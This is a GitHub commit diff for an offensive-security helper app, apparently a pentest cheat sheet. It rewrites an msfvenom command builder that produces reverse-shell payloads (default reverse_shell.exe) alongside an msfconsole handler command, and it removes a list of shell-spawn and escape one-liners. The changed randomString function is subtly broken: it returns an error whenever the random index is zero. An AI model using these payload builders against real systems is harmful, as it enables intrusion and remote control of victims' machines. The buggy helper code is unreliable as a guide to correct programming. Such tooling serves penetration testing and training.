Skip to content

Commit

Permalink
fix msfvenom builder
Browse files Browse the repository at this point in the history
  • Loading branch information
LasCC committed Jan 8, 2023
1 parent 73b85fa commit 6f64b1f
Show file tree
Hide file tree
Showing 3 changed files with 40 additions and 115 deletions.
14 changes: 11 additions & 3 deletions src/components/file_transfer/ObfuscatedFiles.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -28,11 +28,19 @@ const EchoBase64 = () => {
setValues( { ...values, [ name ]: event.target.value } );
};

const randomString = () => {
const randomString = ( length = 10 ) => {
const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for ( let i = 0; i < 10; i++ ) {
result += chars[ Math.floor( Math.random() * chars.length ) ];
if ( length > chars.length ) {
return 'An error occurred';
}
for ( let i = 0; i < length; i++ ) {
const randomNumber = Math.floor( Math.random() * chars.length );
if ( randomNumber ) {
result += chars[ randomNumber ];
} else {
return 'An error occurred';
}
}
return result;
};
Expand Down
39 changes: 27 additions & 12 deletions src/components/linux/MSFBuilder.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -28,11 +28,14 @@ const MSFBuilder = () => {
Platform: 'windows',
Arch: 'x64',
NOP: '200',
BadCharacters: `00`,
BadCharacters: "badchars",
Format: 'exe',
Outfile: 'reverse_shell.exe'
} );

const { LHOST, LPORT, Platform, Arch, NOP, Encoder,
EncoderIterations, BadCharacters, Format, Outfile } = values;

const launchCommand = `msfconsole -qx "use exploit/multi/handler; set PAYLOAD ${ values.Payload }; set LHOST ${ values.LHOST }; set LPORT ${ values.LPORT }; run"`;

const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
Expand All @@ -43,6 +46,28 @@ const MSFBuilder = () => {
setValues( { ...values, [ prop ]: data } );
};

const generateCommand = ( values ) => {
const options = [
LHOST && `LHOST=${ LHOST }`,
LPORT && `LPORT=${ LPORT }`,
Platform && `--platform ${ Platform }`,
Arch && `-a ${ Arch }`,
NOP && `-n ${ NOP }`,
Encoder && `-e ${ Encoder }`,
EncoderIterations && `-i ${ EncoderIterations }`,
BadCharacters && `-b "${ BadCharacters }"`,
Format && `-f ${ Format }`,
Outfile && `-o ${ Outfile }`
].filter( Boolean );

if ( !values.Payload ) {
return '';
}

const command = `msfvenom -p ${ values.Payload } ${ options.join( ' ' ) }`;
return command;
}

return (
<div>
<div style={{ margin: 15 }}>
Expand Down Expand Up @@ -264,17 +289,7 @@ const MSFBuilder = () => {
<Paragraph>
<pre>
<Text copyable>
msfvenom -p {values.Payload}
{values.LHOST > '' && ' LHOST=' + values.LHOST}
{values.LPORT > '' && ' LPORT=' + values.LPORT}
{values.Platform > '' && ' --platform ' + values.Platform}
{values.Arch > '' && ' -a ' + values.Arch}
{values.NOP > '' && ' -n ' + values.NOP}
{values.Encoder > '' && ' -e ' + values.Encoder}
{values.EncoderIterations > '' && ' -i ' + values.EncoderIterations}
{values.BadCharacters > '' && ' -b ' + `"{values.BadCharacters}"`}
{values.Format > '' && ' -f ' + values.Format}
{values.Outfile > '' && ' -o ' + values.Outfile}
{generateCommand( values )}
</Text>
</pre>
</Paragraph>
Expand Down
102 changes: 2 additions & 100 deletions src/components/linux/TtySpawnShell.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -78,106 +78,8 @@ export default function TTY () {
</pre>
</Paragraph>
</div>
<Divider />
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>OS system spawn shell</Title>
<Paragraph>
<pre><Text copyable>echo os.system("/bin/bash")</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>Bash spawn shell </Title>
<Paragraph>
<pre><Text copyable>/bin/sh -i</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>Perl spawn shell </Title>
<Paragraph>
<pre><Text copyable>perl —e 'exec "/bin/sh";'</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>Ruby spawn shell </Title>
<Paragraph>
<pre><Text copyable>ruby: exec "/bin/sh"</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>Lua spawn shell </Title>
<Paragraph>
<pre><Text copyable>lua: os.execute("/bin/sh")</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>IRB spawn shell </Title>
<Paragraph>
<pre><Text copyable>exec "/bin/sh"</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>VI spawn shell </Title>
<Paragraph>
<pre><Text copyable>:!bash</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>VI(2) spawn shell </Title>
<Paragraph>
<pre><Text copyable>:set shell=/bin/bash:shell</Text></pre>
</Paragraph>
</div>
<div
style={{
padding: 15,
marginTop: 15
}}
>
<Title level={3}>Nmap spawn shell </Title>
<Paragraph>
<pre><Text copyable>!sh</Text></pre>
</Paragraph>
</div>
<Divider orientation='center'>Fully Interactive TTY</Divider>

</div>
);
}

0 comments on commit 6f64b1f

Please sign in to comment.